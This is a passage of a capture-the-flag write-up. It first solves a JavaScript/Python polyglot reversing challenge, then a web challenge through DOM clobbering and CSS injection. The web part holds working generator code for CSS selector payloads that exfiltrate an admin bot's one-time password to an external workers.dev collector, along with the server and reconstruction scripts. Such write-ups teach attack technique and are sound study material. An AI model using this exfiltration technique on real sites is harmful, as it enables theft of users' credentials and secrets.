  for (let i = 0; i < 32; i++ ) if ((last + MOD*i - c.charCodeAt()) % 31 === 0) poss.push({ char:c, newD:(last + MOD*i - c.charCodeAt())/31})
}
  return poss
}
last = check(61343, '}')[0].newD
check(last)

I know that the last character of s is } because of the flag format. And the one before it?

I guess it barely narrows anything at all. Hmmph!

Let’s look at the script with a Python lens.

#!/bin/sh
1<<4201337
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
4201337
read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
1<<4201337
*///""";from sys import argv
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1];1//1;"""
/*"""
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):
    #*/d=(d*31+s.charCodeAt(i))%93097/*
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/}
exit(+(d!=260,[d!=61343])[0])
4201337

Again, the numbers (1<<4201337, 1//1, and 4201337), tuples, and multiline strings """...""" don’t do anything, and # is Python syntax for comments. So the only lines that matter are,

from sys import argv
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1]
for i in range(6,len(s)-2):
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/}
exit(+(d!=260,[d!=61343])[0])

This one does use e. The range(6,len(s)-2) makes it iterate over adjacent pairs of characters inside the curly braces of lactf{...}. e has a 2D array for every character in the flag, and it looks up numbers inside it based on the characters of the pair. These numbers must add up to 260.

As an aside, this is a great line:

exit(+(d!=260,[d!=61343])[0])

In JavaScript, the comma operator runs and discards the result of d!=260, so (d!=260,[d!=61343]) returns the array [d!=61343]; [0] gets the boolean inside the array, and + casts it to a number for the exit code. So JavaScript exits with d!=61343.

Meanwhile, in Python, the comma operator forms a tuple, so [0] indexes into the tuple (d!=260,[d!=61343]), returning d!=260. Python exits with d!=260. I think it’s pretty cool that the polyglot exploits the difference in how , behaves in the two languages.

Anyways, I figured that since len(e) was 26, and the smallest value in e was 10, the content of the string between the curly braces of the flag was probably 26 characters long too, and I needed to find a string whose pairs only had 10 values inside e. However, there seemed to be many such values in the array, so I felt like backtracking here wouldn’t be helpful.

I instead focused on trying to backtrack in JavaScript, but I eventually gave up.

When I came back to the challenge, they had released a hint:

Note: The correct flag is 34 characters long.

This confirms what I suspected: the lactf{} part of the flag is 7 characters, leaving 27 characters in the string, or 26 adjacent pairs.

I tried working backwards using e:

alpha="abcdefghijklmnopqrstuvwxyz_"
last = null
for (let i = e.length; i--;) {
  last = new Set(e[i].map((a,prev) =>a.flatMap((b,next) =>(!last || last.includes(alpha[next])) && b === 10?[prev]:[])).flat().map(i => alpha[i]))
  last = Array.from(last).join('')
  console.log(last)
}

This looks for every occurrence of 10 in the last element of e and looks up the first character of the pair based on the indices. It keeps track of these potential characters for the previous element of e. It repeats the process for previous characters, except it only considers character pairs where the second character was a potential candidate from the last round.

This was the output. Each row represents potential candidate letters from each 2D array in e.

abcefhmnpqrstuvxz_
adefgijkmnoprtuvxy_
adghijknoqtuvx_
cdegilnpswxyz_
acdegijlmnorstz
aeghijnoprswx_
abcehjkmrstuvyz_
acfijlmopqswxyz_
dhijmnprstu_
ikmnopuyz_
agjntvwy_
bdefklotxy_
abfghkmnopqtuyz_
acefghijmnopstuxyz_
efhklostuvwxz_
acdeghijlmnorsvz
aefklmpuvxy_
abcefhjoux_
cdfhnpqtw
abeijklmoswx
abcdjlnpstuvwy_
bcefghjknrtxyz_
adfgijmnoptuvxyz_
acglmnortyz
beghimnopqtwxz
cefghlqrstvx

This was disappointing to see, albeit not surprising, because I was hoping that it could narrow down the possibilities over time, revealing just one possible line of characters.

I decided to try keeping track of all the possible strings formed so far, rather than the characters themselves. Currently, it looked like there could be exponentially many possible flags. But maybe there is only a handful of possible strings of characters that jump around the place, making it seem like any character was possible for each step.

alpha="abcdefghijklmnopqrstuvwxyz_"
extend = (A, et) => {
  return A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return et.flatMap((row, prevI) => row.flatMap((n, nextI) => (!a || nextI === index) && n === 10 ? [alpha[prevI] + (a || alpha[nextI])] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})
}
last = extend([''], e.at(-1))
for (let i = 2; i < 8; i++) {
  last = extend(last, e.at(-i))
}
last
/*A = e.at(-1).flatMap((a,prev) =>{
  return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})
B = A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) => row.flatMap((n, nextI) => nextI === index && n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})*/

extend is a function that takes A, a list of possible flag strings, and et, the current 2D array from e. It starts with the last pair, extend([''], e.at(-1)), then grows it about another 8 times.

It still grows exponentially, albeit pretty slowly. But it’s interesting that those first few strings all end in _deal!

I filtered the options by those that end in _deal and continued extending the possible strings.

Not that many more possibilities, but the ones ending in _free_deal look promising.

And so I kept going:

alpha="abcdefghijklmnopqrstuvwxyz_"
extend = (A, et) => {
  return A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return et.flatMap((row, prevI) => row.flatMap((n, nextI) => (!a || nextI === index) && n === 10 ? [alpha[prevI] + (a || alpha[nextI])] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})
}
last = extend([''], e.at(-1))
for (let i = 2; i < 8; i++) {
  last = extend(last, e.at(-i))
}
last = last.filter( a => a.endsWith('_deal'))
for (let i = 8; i < 16; i++) {
  last = extend(last, e.at(-i))
}
last = last.filter( a => a.endsWith('_two_free_deal'))
for (let i = 16; i < 24; i++) {
  last = extend(last, e.at(-i))
}
last =["ve_one_get_two_free_deal"]
for (let i = 24; i <= 26; i++) {
  last = extend(last, e.at(-i))
}
/*A = e.at(-1).flatMap((a,prev) =>{
  return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})
B = A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) => row.flatMap((n, nextI) => nextI === index && n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
})*/

Of these, solve_one_get_two_free_deal was the only one that looked like a flag, so I tried lactf{solve_one_get_two_free_deal}. It worked. 🎉 (Though by solving this, I disappointingly did not get two free flags.)

web/quickstyle

web/quickstyle by r2uwu2. 12 solves / 495 points

Script on the streets, style in the sheets, they call me the cascader.

Site - quickstyle.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/quickstyle

Downloads: quickstyle.zip

The website presented me with,

Please specify a user in the query!

I added ?user=1 to the URL, and the page changed to

Your One-Time-Password is: H6IhdwaaRtuvCgUMt5zrqcVWcBYWK85LudjvKkDyJ72k298verj8Z88suvUJbjQp9Mak2OLYhyNof1bE

With a disabled text input containing a random string of characters.

Looking at the provided server.js, there are a few things to note:

• The one-time-password (OTP) is 80 characters long, selected from an alphabet of 62 possible characters (digits and uppercase and lowercase letters). It’s generated every time you access a user.
• The OTP isn’t stored anywhere unless Admin Bot accesses the page (identified by a special token in its cookie). In that case, the OTP is saved in a Map between usernames and OTPs.
• On a /flag page, which takes both a username user and the OTP otp, if the corresponding entry in the Map matches the given OTP, then the server will directly give the flag.

This meant that to get the flag, you need to have Admin Bot visit https://quickstyle.chall.lac.tf/?user=1, somehow grab the OTP it sees, then use the OTP on the /flag page to get the flag.

CSS injection: how?

Based on the challenge name and description, it seemed very likely that you would have to use CSS injection. The OTP is in a text input, so I can use CSS selectors on its value to do certain things depending on its contents.

input[value='password'] {
  background-image: url('https://example.com/');
}

In the above example, if the input value is password, then it sets its background image to https://example.com/, which will make the browser send a request to the page to try to get an image from it.

CSS injections usually involve one of two methods:

• Taking advantage of CSS attribute selectors like [value^="hello"] or [value*="hey"] to test if the input value starts with or contains a certain string, respectively.
• Loading font files based on the characters used in the page.

Looking at note.js, the web page accepts an additional URL parameter page, a URL (which could be a data: URL) that it fetches and inserts into the document.

const message = await fetch(url).then(r => r.text());
if (message.length > 6000000) return;
document.querySelectorAll('.message')[0].innerHTML = message;
document.querySelectorAll('style').forEach(s => s.remove());

It inserts the contents of the provided URL using innerHTML, which means I can perform my injection here. Curiously, it rejects message if it’s more than 6 MB, and annoyingly it also removes all <style> tags.

The content security policy (CSP) of the website is font-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'; script-src 'self'; style-src 'unsafe-inline'. This prevents us from trying to communicate with anything outside the website in many ways:

• I can’t load custom fonts, so the font technique for CSS injection won’t work here.
• I can’t load plugins with <object> and <embed>.
• I can’t use <base>, which changes the base URL that all relative paths on the page and relative to.
• I can’t submit forms.
• I can’t use onerror attributes and other event handlers to run JavaScript; XSS is infeasible.
• I can’t use <link> tags to load external CSS to get around the removal of <style> tags.

Curiously (with help from ChatGPT to brainstorm what the CSP doesn’t over), I still can load images and <iframe>s. However, my external <iframe>s can’t really communicate with or access anything on the web page with the OTP, so I didn’t know how to use them.

I could also use inline style attributes, but there’s no way to use CSS selectors inside them. While you can now nest CSS rules, this doesn’t seem to have been added to inline CSS.

So I got stuck and took a break.

While researching ways to get <iframe>s to work or add selectors to style attributes, I found a post⁵ that had something like this:

<form name="getElementById" ...>
  <!-- ... -->
</form>

I was trying to get rid of document.querySelectorAll using just HTML so it couldn’t remove my <style> elements. I knew that IDs create global variables that reference the element (for example, <span id="hey"> creates a global variable hey). However, it seems the built-in document object has priority over <span id="document">.

It seems, based on this post, that using a name attribute similarly creates a new entry under document. For example, <form name="hey"> creates a new entry document.hey, and apparently <form name="getElementById"> had more priority than the built-in document.getElementById method.

So just by adding some HTML, I could replace document.querySelectorAll with a form of the same name. This breaks the code because document.querySelectorAll as a form isn’t a function anymore, so calling it throws a TypeError, and <style> elements are no longer removed. 🙌

Now, I could finally focus on CSS injection.

Exfiltrating the OTP with CSS

However, there was another problem. Most CSS injection examples you find online will check one character at a time. You can only use CSS attribute selectors to check if a string starts with something, but not if a string exists at some specific point in the string.

For example, it’s easy enough to have CSS that looks something like

<style>
input[value^="a"] { background-image: url('https://example.com/a') }
input[value^="b"] { background-image: url('https://example.com/b') }
/* ... */
</style>

This would tell me what character the OTP starts with because it’ll load the corresponding background image from my web server.

However, there’s no way to check if the second character of the OTP is some letter. Attribute selectors don’t have any pattern matching like

input[value~="^.a"] { ... }

where it checks the second character while allowing the first character to be anything. The only things CSS can check are:

• [attr="value"] Whether the attribute is exactly the string.
• [attr^="value"] Whether the attribute starts with a string.
• [attr$="value"] Whether the attribute ends with a string.
• [attr*="value"] Whether the attribute contains the string anywhere, at least once.
• [attr*="value" i] Adding i at the end makes the comparison case insensitive.
• [attr|="value"] This also can compare strings, but it has a special behavior that allows lang="en" and lang="en-US" to be treated similarly. It’s not particularly useful for anything but the lang attribute.

Most CSS injection challenges you can find on the web don’t need to worry about the problem. Once they know what the secret starts with, they can create a new CSS file that checks if the secret starts with that character followed by some character.

<style>
/* We know it starts with K */
input[value^="Ka"] { background-image: url('https://example.com/Ka') }
input[value^="Kb"] { background-image: url('https://example.com/Kb') }
/* ... */
</style>

But we don’t get this luxury. Our secret is a one-time password that changes with every page load, and every page load will invalidate the user’s previous OTP by overwriting it with the new one. If we wanted to do something like this, we’d need to have a rule for every possible string. There are 62 possible characters for each of the 80 characters in the string, so the list of possible strings will grow long quickly. Our CSS file has to be under 6 MB.

One idea I had was to use CSS nesting to try generating these combinations without actually iterating through all of them. Something like,

a {
  &a {
    &a {
      ... {
        [value="&"] {
          background-image: url('https://example.com/' &);
        }
      }
    }
    ...
  }
  &b {
    ...
  }
  ...
}
b {
  ...
}
...

Perhaps unsurprisingly, this is not how CSS nesting works.

Because of the CSP, I can’t <link> or @import a CSS file from a custom web server that streams new rules over as characters get discovered one by one.

What I could do, however, is to generate a CSS file that checks if every possible sequence of three characters is in the string. Then, hopefully, I can reconstruct the OTP from just these trigraphs.

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
let html = '<form name=querySelectorAll><style>'
for (const a of alpha)
  for (const b of alpha)
    for (const c of alpha)
      void (html+=`[value*=${a}${b}${c}]{background:url(http://localhost:8000/${a}${b}${c})}`)
//location = '/?user=1&page=' + html.slice(0, 6e6)
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

Each trigraph requires an attribute selector that checks if the trigraph is in the OTP input’s value, and if so, it sets the input’s background image to an image URL that includes the trigraph. It printed 0.45773311489291907 kept, so less than half of the trigraphs could fit under the 6 MB limit.

I played around with the length of the URL to see if a short domain was important for the image URL, but compared to the rest of the selector, the length of the URL did not significantly affect how many trigraphs could fit in 6 MB. It would always keep around half of all trigraphs.

So okay, maybe even with half the trigraphs being reported, the remaining ones might still be enough to reconstruct the string.

I started a simple web server that just prints out the URLs of requests received:

 Deno.serve((req) => (console.log(decodeURIComponent(req.url)), new Response("hello world")));

The first issue I came across was that only one trigraph was being reported at a time. This was because multiple rules matched (because the OTP contains many trigraphs) but overrode each other’s background-image. The input can only have one background-image at a time, so only one background image was being requested from my server.

To solve this, I used CSS variables to avoid multiple rules overriding each other:

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
let html = '<form name=querySelectorAll><style>input{--_:none;'
 let background = 'background:var(--_)'
 const vars = 'abcdefghijklmnopqrstuvwxyzá'
 for (const l of vars) {
   background += `,var(--${l})`
   html += `--${l}:none;`
 }
 html += background +'}'
      let i =0
for (const a of alpha) {
  html+=`[value^=${a}]{--_:url(http://localhost:8000/${a})}`
  for (const b of alpha)
    for (const c of alpha){
       (html+=`[value*=${a}${b}${c}]{--${vars[i%vars.length]}:url(http://localhost:8000/${a}${b}${c})}`)
i++
    }}
//location = '/?user=1&page=' + html.slice(0, 6e6)
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

Here, there are 27 variables available for now, and the possible trigraphs just rotate through them. I just hoped that if I added enough variables, there wouldn’t be many collisions.

This new version also gets the first character of the string.

Finally, trigraphs started pouring in.

Reconstructing the triplets

With the trigraphs my server received, I tried to write a script to decode them.

first = 'o'
subseqs = 'uaz mkZ i44 g9F kZM mmO js3 eSb vQL mOL kI8 hi4 hqm lg9 qmk c3g cK1 qD6 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF l9G hdJ erK kQM skQ gJT qfU eZX beY jdZ qD6 cK1 rKc sl9 rhd eYe grh nsl fUq fgr tZA dJB tRF hdJ l9G erK kQM skQ gJT qfU eZX beY jdZ' .split(' ')
next = {}
for (const s of subseqs) {
  if (next[s.slice(0, 2)]) {
    console.warn('conflict', s.slice(0,2),next[s.slice(0, 2)])
  }
  next[s.slice(0, 2)] = s.slice(2)
  next[s.slice(0, 1)] ??= []
  next[s.slice(0, 1)].push(s.slice(1))
}
while (true) {
  if (first.length >= 2) {
    const poss = next[first.slice(-2)]
    if (poss) {
      first += poss
      continue
    }
  }
  const poss = next[first.slice(-1)]
  if (!poss || poss.length === 0) {
    console.error('i give up :(', first)
    break
  }
    if (poss.length > 1) {
      console.warn('ambiguous', first, poss)
    }
    first += poss[0]
}

It builds a map next of strings to strings. For example, uaz becomes ua -> z and u -> az. The latter is there just in case some trigraphs didn’t make it due to the 6 MB limit, duplicates, or CSS variable collisions, but it’s not great for making certain decisions.

Then, it starts with the first character and tries to build on it using next. However, it kept failing with i give up :(, meaning that it reached a point where no trigraph could continue the string.

As it turns out, the three errors—reporting less than half the trigraphs, duplicate trigraphs not being reported, and CSS variable collisions—result in this being extremely lossy and not practical.

So I had two main problems to solve:

1. How to scrape the OTP in a way that fits under 6 MB and isn’t too lossy?
2. How can I reconstruct the OTP from its subsequences?

I suspected the answer to question #2 involved graph theory and may not be solvable in polynomial time. However, it was past midnight, so any amount of math hurt my head.

All $62^2$ pairs could easily fit in 6 MB. I could just reliably collect all pairs. Surely even pairs, with $62^2$ of them, would be unlikely to have duplicates in the OTP.

So at 2 am, I asked people on the UCSD CSE server⁶, U[CS]D, if they knew any existing algorithms for the problem: given a list of adjacent pairs in a string, reconstruct the string. Assume that pairs are unique.

Since 2 am is still a common time to be awake, several people responded. Apparently, this is a common problem in bioinformatics (probably for reconstructing DNA sequences). There exists this concept called a De Bruijn graph that was related.

They showed me an example of reconstructing the example pairs I gave, and I was convinced. This was the solution to my problem 2.

However, their code for this was part of an assignment for a class, so I couldn’t just use their code. But now that I knew of this “De Bruijn graph,” I could just ask ChatGPT.

write me python code that reconstructs a string given pairs in the string. assume that the pairs are unique. you may want to use debrujin graph

Here’s the code it generated:

import networkx as nx

def reconstruct_string_from_pairs(pairs):
    # Create a directed graph
    G = nx.DiGraph()

    # Iterate through each pair and add edges to the graph
    for pair in pairs:
        prefix = pair[:-1]
        suffix = pair[1:]
        G.add_edge(prefix, suffix)

    # Reconstruct the Eulerian path
    eulerian_path = list(nx.eulerian_path(G))

    # Reconstruct the string from the Eulerian path
    reconstructed_string = eulerian_path[0][0] + ''.join([pair[-1] for pair in eulerian_path])

    return reconstructed_string

# Example usage:
pairs = ['ATG', 'TGG', 'TGC', 'GTG', 'GGC', 'GCA']
reconstructed = reconstruct_string_from_pairs(pairs)
print("Reconstructed string:", reconstructed)

Shockingly, the code worked on my pairs. Success!

Birthday paradox: duplicate pairs are more common than I thought

Except now, I was back to problem 1. It appears that duplicate pairs aren’t as uncommon as I thought: I had fallen victim to the birthday paradox. While I was too lazy to work out the numbers, I just figured that I couldn’t assume pairs were unique anymore.

I wanted to bring back trigraphs. Surely, this algorithm could handle a mix of pairs and trigraphs. However, I eventually realized it would be quite involved to reconstruct a string from some pairs and trigraphs.

The way the algorithm works is,

1. Creates edges between characters if a pair says one character is followed by another. This helps to show what letters can be chained.
2. Find an Eulerian path—a path that uses all the edges (pairs) in the graph. This ensures that every pair is used exactly once.

Just by doing this, it can traverse all the edges and find a path that reconstructs the strings by only using each pair once.

Mixing trigraphs and pairs complicates this. Firstly, the function assumes that each node is just a character, so this loses the middle character of a trigraph. Secondly, to make edges between trigraphs and pairs, there will be extra edges that may not be necessarily used (e.g. if a trigraph is not followed by a pair). But an Eulerian path must use all edges, so it gives up if there are edges that aren’t needed.

I decided to just stick with trigraphs, and my reconstruction code ended up looking like this:

def reconstruct_string_from_pairs(pairs):
    G = nx.DiGraph()

    for pair in pairs:
        G.add_edge(pair[:-1], pair[1:], hey=pair)
    eulerian_path = list(nx.eulerian_path(G))

    reconstructed_string = eulerian_path[0][0] + ''.join([pair[1] for pair in eulerian_path])

    return reconstructed_string

Nodes are now two characters instead of just one, and edges are drawn between nodes if they’re pairs in the same trigraph.

Turning the path back into a string is buggy. Because nodes have a character in common with their neighbors, the reconstruction ends up looking something like

vQQii11ssggOOiiddhhhhKKbbGGwweeLLOOQQuuvvIIvvDDVVyyggqqUUtt44BBNN88ZZ66hhSSMMccUUwwOOooYYHHhhXXTThhggIIrrSSZZffPPiibbeett00GGHH11bbRRyy339988EE33ooiiBBIIvv77N

But I didn’t feel like fixing it because it felt easier to write code to deduplicate those pairs than to understand how the algorithm worked and debug it.

What about actually collecting those trigraphs? Since I was only using trigraphs for reconstruction, I had to make sure no trigraphs were left behind. How?

Earlier, I mentioned that CSS could do case-insensitive matching too, like [value*="string" i]. I could almost halve the number of trigraphs by case-insensitively matching only digits and lowercase letters, no uppercase.

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
const alphaL = '0123456789abcdefghijklmnopqrstuvwxyz'
let html = '<form name=querySelectorAll><style>input{'
 let background = 'background:'/*
 for (const a of alpha)
 for (const b of alpha){
   background += `var(--t${a+b}),`
   html += `--t${a+b}:none;`
 }*/
const N = 10000
for (let i = 0; i < N; i++) {
   background += `var(--${i},none),`
//   html += `--${i}:none;`
 }
 html += background.slice(0,-1) +'}'
 const check = s => /\d/.test(s) ? `'${s}'` : s
let i = 0
  let combos = new Set()
for (const a of alpha) {
  for (const b of alpha){
  html+=`[value*=${check(a+b)}]{--${(i++)%N}:url(//lc.ussa-say.workers.dev/${a+b})}`
     for (const c of alpha){
      combos.add(`${a}${b}${c}`.toLowerCase())
    }
    }
}
combos=[...combos]
 for (let i = combos.length; i--;) {
   const index  = Math.floor(Math.random() * (i + 1))
;[combos[i ], combos[index]]=[combos[index ], combos[i]]
 }
 for (const combo of combos) {
html+=`[value*=${check(combo)} i]{--${(i++)%N}:url(//lc.ussa-say.workers.dev/${combo})}`
 }
html += '</style><iframe src="//subsection-diana-commissioners-excited.trycloudflare.com/load"></iframe>'
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

There were many iterations of this script that I skimmed over, mostly because it was just trial and error and brainstorming. This is very close to the final version of my CSS-generating code.

Originally, I was using the first two letters of each trigraph as their CSS variable so there would only be $62^2$ CSS variables. However, since pairs aren’t unique, if there’s a duplicate pair, then their trigraphs will have a variable collision.

However, I could rotate through $N$ CSS variables numbered $0$ through $N - 1$ and assign them to each trigraph. To find some $N$ with a low chance of having collisions, I found a birthday paradox calculator on dCode. I wanted no one to share the same birthday (CSS variable), and there were 78 people (trigraphs).

With 1000 CSS variables, the probability this can happen is 3.9%. That’s incredibly low, so I should expect a collision most of the time. With 10 000 variables, the probability jumps up to 73%, which is good enough for me. This is why there’s a const N = 10000 line in the script above.

So now I have case-sensitive pairs and case-insensitive trigraphs. The trigraphs can be reconstructed into the OTP, but the OTP is case-sensitive. So I need to make trigraphs uppercase as needed based on the case-sensitive pairs I have.

Reconstructing the trigraphs

The web server that collected the request URLs had by now grown very sophisticated. It keeps track of the paths in a list, then after a second of silence, it assumes all of the trigraphs and pairs have been requested and received.

Then, for each trigraph, it looks up the pairs⁷ that could constitute it, then uses the letter cases in the pairs to create the trigraph. However, multiple pairs might only differ by case, like ab and Ab. In these cases, my server just tries every combination; there usually aren’t that many (maybe up to 16 combinations).

      const lowers = {}
      for (const b of two) {
        lowers[b.toLowerCase()] ??= []
        lowers[b.toLowerCase()].push(b)
      }
      // console.log(lowers)
      let i =0
      const w = three.map(a => {
        const options = new Set()
        for (const lower of lowers[a.slice(0, 2)]??[]) {
for (const  upper of lowers[a.slice(1)]??[]){
  if (lower[1] === upper[0]) {
    options.add(lower + upper[1])
  }
}
        }
        // const lower = lowers[a.slice(0, 2)]
        let w = [...options]
        if (w.length>1) console.log('multiple options',a,w)
        if (w.length===0) console.log('no options',a,)
        return w
      })

Then, for every possible set of cased trigraphs, I reconstruct it using the Python program and print the results to the console.

    const ans = []
for (const b of permute(w)) {
  console.log(`python3 bubby.py ${b.join('-')}`)
  const command = new Deno.Command('python3', {
    args: [
      'bubby.py',
      b.join('-')
    ],
  });

  const {stdout,stderr} = await command.output()
  const out = new TextDecoder().decode(stdout)
  console.log(out)
  console.error(new TextDecoder().decode(stderr))
  const otp = out.trim()
  let s = otp[0]
  for (let i = 0; i < otp.length; i+=2) {
    s += otp[i+1]
  }
  console.log(s)
  if(otp){

    console.log('https://quickstyle.chall.lac.tf/flag?user=1&otp='+s + ' ✨')
    ans.push(s)
  }
}


console.log('results', ans)
if (three.length !== 78) {
  console.error(three.join(' '))
  console.error(`${three.length} triplets received, expected 78. :/`)
  // Deno.exit(1)
}